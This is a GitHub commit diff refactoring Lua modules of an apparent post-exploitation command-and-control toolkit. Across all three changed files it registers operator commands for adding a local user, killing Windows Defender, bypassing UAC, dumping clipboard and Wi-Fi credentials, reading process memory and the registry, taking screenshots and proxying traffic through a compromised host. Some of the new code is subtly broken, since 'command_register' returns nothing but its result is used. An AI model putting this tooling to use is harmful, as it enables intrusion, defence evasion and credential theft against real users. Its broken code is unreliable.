Skip to content

Commit 75dfa7a

Browse files
committed
fix: some bug
1 parent acbba7c commit 75dfa7a

3 files changed

Lines changed: 57 additions & 70 deletions

File tree

community-common/modules/common_bof.lua

Lines changed: 55 additions & 67 deletions
Original file line numberDiff line numberDiff line change
@@ -3,47 +3,47 @@ local function bof_path(bof_name, arch)
33
return "common/bof/" .. bof_name .. "." .. arch .. ".o"
44
end
55
local function command_register(command_name, command_function, help_string, ttp)
6-
command( parent_command .. ":" .. command_name, command_function, help_string, ttp)
6+
command(parent_command .. ":" .. command_name, command_function,
7+
help_string, ttp)
78
end
89

910
-- netUserAdd
10-
local function parse_netuseradd_bof(args)
11-
local size = #args
12-
if size < 2 then
13-
error(">=2 arguments are allowed")
14-
end
15-
local username = args[1]
16-
local password = args[2]
17-
return bof_pack("ZZ", username, password)
18-
end
19-
local function run_netuseradd_bof(args)
20-
args = parse_netuseradd_bof(args)
11+
12+
local function run_netuseradd_bof(cmd)
13+
local username = cmd:Flags():GetString("username")
14+
local password = cmd:Flags():GetString("password")
15+
if username == "" then error("username is required") end
16+
if password == "" then error("password is required") end
17+
local pack_args = bof_pack("ZZ", username, password)
2118
local session = active()
2219
local arch = session.Os.Arch
2320
if not isadmin(session) then
2421
error("You need to be an admin to run this command")
2522
end
2623
local bof_file = bof_path("NetUserAdd", arch)
27-
return bof(session, script_resource(bof_file), args, true)
24+
return bof(session, script_resource(bof_file), pack_args, true)
2825
end
29-
command_register("netuseradd_bof", run_netuseradd_bof, "netuseradd_bof <username> <password>", "")
26+
27+
local netuseradd_bof_command = command_register("netuseradd_bof",
28+
run_netuseradd_bof,
29+
"netuseradd_by_bof <username> <password>",
30+
"")
31+
netuseradd_bof_command:Flags():String("username", "", "the username to add")
32+
netuseradd_bof_command:Flags():String("password", "", "the password to set")
3033

3134
-- curl
3235
local function parse_curl_bof(args)
3336
local size = #args
34-
if size < 1 then
35-
error(">=1 arguments are allowed")
36-
end
37+
if size < 1 then error(">=1 arguments are allowed") end
3738
local host = args[1]
3839
local port = "80"
3940
local method = "GET"
4041
local header = "Accept: */*"
41-
local userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"
42+
local userAgent =
43+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"
4244
local body = ""
4345

44-
if size >= 2 then
45-
port = args[2]
46-
end
46+
if size >= 2 then port = args[2] end
4747
local valid_methods = {
4848
GET = true,
4949
POST = true,
@@ -58,54 +58,44 @@ local function parse_curl_bof(args)
5858
end
5959
end
6060
local output = 1
61-
if args[4] == "--disable-output" then
62-
output = 0
63-
end
61+
if args[4] == "--disable-output" then output = 0 end
6462
proxy = 1
65-
if args[4] == "--noproxy" then
66-
proxy = 0
67-
end
68-
if size >= 5 then
69-
userAgent = args[5]
70-
end
71-
if size >= 6 then
72-
header = args[6]
73-
end
74-
if size >= 7 then
75-
body = args[7]
76-
end
77-
return bof_pack("zizizzzi", host, port, method, output, userAgent, header, body, proxy)
63+
if args[4] == "--noproxy" then proxy = 0 end
64+
if size >= 5 then userAgent = args[5] end
65+
if size >= 6 then header = args[6] end
66+
if size >= 7 then body = args[7] end
67+
return bof_pack("zizizzzi", host, port, method, output, userAgent, header,
68+
body, proxy)
7869
end
7970

8071
local function run_curl_bof(args)
8172
args = parse_curl_bof(args)
8273
local session = active()
8374
local arch = session.Os.Arch
84-
local bof_file = bof_path("curl",arch)
75+
local bof_file = bof_path("curl", arch)
8576
return bof(session, script_resource(bof_file), args, true)
8677
end
87-
command_register("curl_bof", run_curl_bof, "curl <host> [port] [method] [--show|--noproxy] [userAgent] [header] [body]", "")
78+
command_register("curl_bof", run_curl_bof,
79+
"curl <host> [port] [method] [--show|--noproxy] [userAgent] [header] [body]",
80+
"")
8881
-- readfile
8982

9083
local function run_readfile_bof(args)
91-
if args[1] == nil then
92-
error(">=1 arguments are allowed")
93-
end
84+
if args[1] == nil then error(">=1 arguments are allowed") end
9485
local file_path = args[1]
9586
local packed_args = bof_pack("z", file_path)
9687
local session = active()
9788
local arch = session.Os.Arch
9889
local bof_file = bof_path("readfile", arch)
9990
return bof(session, script_resource(bof_file), packed_args, true)
10091
end
101-
command_register("readfile_bof", run_readfile_bof, "readfile_bof <file_path>", "")
92+
command_register("readfile_bof", run_readfile_bof, "readfile_bof <file_path>",
93+
"")
10294

10395
-- kill_defender
10496
local function parse_kill_defender_bof(args)
10597
local size = #args
106-
if size < 1 then
107-
error(">=1 arguments are allowed")
108-
end
98+
if size < 1 then error(">=1 arguments are allowed") end
10999
local action = args[1]
110100
if action == "kill" or action == "check" then
111101
local username = session.Os.Username
@@ -118,7 +108,8 @@ local function run_kill_defender_bof(args)
118108
local bof_file = bof_path("kill_defender", arch)
119109
return bof(session, script_resource(bof_file), args, true)
120110
end
121-
command_register("kill_defender_bof", run_kill_defender_bof, "kill_defender_bof <action>", "")
111+
command_register("kill_defender_bof", run_kill_defender_bof,
112+
"kill_defender_bof <action>", "")
122113
-- clipboard
123114
local function run_clipboard_bof(args)
124115
local session = active()
@@ -133,13 +124,12 @@ local function run_dump_clipboard(args)
133124
local bof_file = bof_path("dump_clipboard", arch)
134125
return bof(session, script_resource(bof_file), args, true)
135126
end
136-
command_register("dump_clipboard_bof", run_dump_clipboard, "dump_clipboard_bof", "")
127+
command_register("dump_clipboard_bof", run_dump_clipboard, "dump_clipboard_bof",
128+
"")
137129
-- wifidump
138130
local function parse_wifidump_bof(args)
139131
local size = #args
140-
if size < 1 then
141-
error(">=1 arguments are allowed")
142-
end
132+
if size < 1 then error(">=1 arguments are allowed") end
143133
print(args[1])
144134
local interface = args[1]
145135
return bof_pack("Z", interface)
@@ -151,13 +141,12 @@ local function run_wifidump_bof(args)
151141
local bof_file = bof_path("wifidump", arch)
152142
return bof(session, script_resource(bof_file), args, true)
153143
end
154-
command_register("wifidump_bof", run_wifidump_bof, "wifidump_bof <profilename>", "")
144+
command_register("wifidump_bof", run_wifidump_bof, "wifidump_bof <profilename>",
145+
"")
155146

156147
-- wifienum
157148
local function run_wifienum_bof(args)
158-
if #args > 0 then
159-
error("no arguments are allowed")
160-
end
149+
if #args > 0 then error("no arguments are allowed") end
161150
local session = active()
162151
local arch = session.Os.Arch
163152
local bof_file = bof_path("wifienum", arch)
@@ -178,16 +167,12 @@ command_register("meminfo_bof", run_read_memory_bof, "meminfo_bof", "")
178167
-- Usage : memreader <target-pid> <pattern> <output-size>
179168
local function parse_memory_reader_bof(args)
180169
local size = #args
181-
if size < 2 then
182-
error(">=2 arguments are allowed")
183-
end
170+
if size < 2 then error(">=2 arguments are allowed") end
184171
local target_pid = args[1]
185172
local pattern = args[2]
186-
local output_size= 10
187-
if size == 3 then
188-
output_size = args[3]
189-
end
190-
return bof_pack( "izi", target_pid, pattern, output_size)
173+
local output_size = 10
174+
if size == 3 then output_size = args[3] end
175+
return bof_pack("izi", target_pid, pattern, output_size)
191176
end
192177

193178
local function run_memory_reader_bof(args)
@@ -197,7 +182,9 @@ local function run_memory_reader_bof(args)
197182
local bof_file = bof_path("memreader", arch)
198183
return bof(session, script_resource(bof_file), args, true)
199184
end
200-
command_register("mem_reader_bof", run_memory_reader_bof, "common mem_reader_bof <target-pid> <pattern> <output-size>", "")
185+
command_register("mem_reader_bof", run_memory_reader_bof,
186+
"common mem_reader_bof <target-pid> <pattern> <output-size>",
187+
"")
201188

202189
-- regdump
203190
local function run_regdump_bof(args)
@@ -229,15 +216,16 @@ local function run_screenshot(args)
229216
local result = bof(session, script_resource(bof_file), packed_args, true)
230217
return result
231218
end
232-
command_register("screenshot_bof", run_screenshot, "Command: situational screenshot <filename>", "T1113")
233-
219+
command_register("screenshot_bof", run_screenshot,
220+
"Command: situational screenshot <filename>", "T1113")
234221

235222
--- common sharp
236223
local function run_SharpWebServer(args)
237224
local session = active()
238225
local arch = session.Os.Arch
239226
local csharp_file = "common/SharpWebServer_net4.5.exe"
240-
return execute_assembly(session, script_resource(csharp_file), args, true,new_sac())
227+
return execute_assembly(session, script_resource(csharp_file), args, true,
228+
new_sac())
241229
end
242230
command("common:sharpweb", run_SharpWebServer, "common sharpweb", "")
243231

community-elevate/modules/uacbofbonanza.lua

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -171,7 +171,7 @@ local function run_EditionUpgradeManager(cmd)
171171
local file_content = file_content_handle:read("*all")
172172
file_content_handle:close()
173173
local content_len = string.len(file_content)
174-
local pack_args = bof_pack("iz", content_len, file_content) -- string field contains invalid UTF-8
174+
local pack_args = bof_pack("ib", content_len, file_content) -- string field contains invalid UTF-8
175175
return bof(session, script_resource(bof_file), pack_args, true)
176176
end
177177
local cmd_EditionUpgradeManager = command("uac-bypass:editionupgrade",

community-proxy/modules/proxy.lua

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,3 @@
1-
local root_command= "proxy"
21
local function new_sac()
32
local sac = new_sacrifice(0,false,false,false,"")
43
return sac
@@ -12,4 +11,4 @@ local function run_gost(args)
1211
local sac = new_sac()
1312
return execute_exe(session, pe_path, args, true, 60, arch, "", sac)
1413
end
15-
command( root_command.. ":gost", run_gost, "Usage: proxy gost -- <gost args>", "")
14+
command( "community-proxy:gost", run_gost, "Usage: proxy gost -- <gost args>", "")

0 commit comments

Comments
 (0)